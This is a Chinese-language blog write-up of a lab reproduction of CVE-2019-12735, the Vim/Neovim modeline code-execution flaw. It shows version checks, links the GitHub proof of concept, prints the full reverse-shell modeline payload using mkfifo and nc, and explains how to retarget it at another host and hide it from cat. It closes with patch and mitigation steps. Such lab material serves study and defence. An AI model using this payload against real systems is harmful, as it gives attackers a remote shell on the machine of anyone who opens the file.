CVE-2019-12735-----Linux Vim编辑器任意代码执行漏洞

一、实验环境

kali本机上测试
不同虚拟机存放vimrc文件路径不同

二、前提条件
(1)影响版本:小于8.1.1365

vim --help查看版本信息
在这里插入图片描述

(2)检查是否存在vim漏洞

打开vim输入 :set modeline? 检查modelines是否启用。
如果vim返回nomodeline,就说明不存在漏洞。
如果vim返回modeline,就说明存在漏洞。

(3)开启modeline选项

kali的vimrc路径存放在/usr/share/vim下,编辑此文件
在第50行加入set modeline
在这里插入图片描述

三、漏洞复现

(1)在github上下载脚本:https://github.com/pcy190/ace-vim-neovim/

poc_uname.txt 是试着运行查看系统
poc_shell.txt 是创建一个反弹shell

:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1  9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

在这里插入图片描述

(2)尝试vim打开poc_uname.txt过程中是否可以运行uname命令

下图表示运行成功
在这里插入图片描述

(3)监听反弹端口
在这里插入图片描述
(4)利用nc反弹shell

本PoC给出了当用户打开文件时启动逆向shell的真实攻击方法。为了隐藏攻 击活动,该文件打开后需要马上重新。当文件内容用cat显示时,PoC使用了terminal escape序列来隐藏modeline。cat -v会显示文件真实内容。
在这里插入图片描述在这里插入图片描述

(5)如果要在两台机子上验证,可修改poc_shell.txt里的ip和任意端口号

kali目标机:192.168.168.176
kali攻击机:192.168.168.157

修改ip值
在这里插入图片描述
创建用户vimuser
在这里插入图片描述

攻击机开启监听,目标机vim打开poc_shell.txt脚本
在这里插入图片描述
在这里插入图片描述

由此可见,获取到了目标机的权限

四、补丁

Vim patch 8.1.1365
Neovim patch (released in v0.3.6)

关闭modelines,在vimrc中加入以下代码:
set modelines=0
set nomodeline

发布了40 篇原创文章 · 获赞 42 · 访问量 3617

猜你喜欢

转载自blog.csdn.net/per_se_veran_ce/article/details/99694051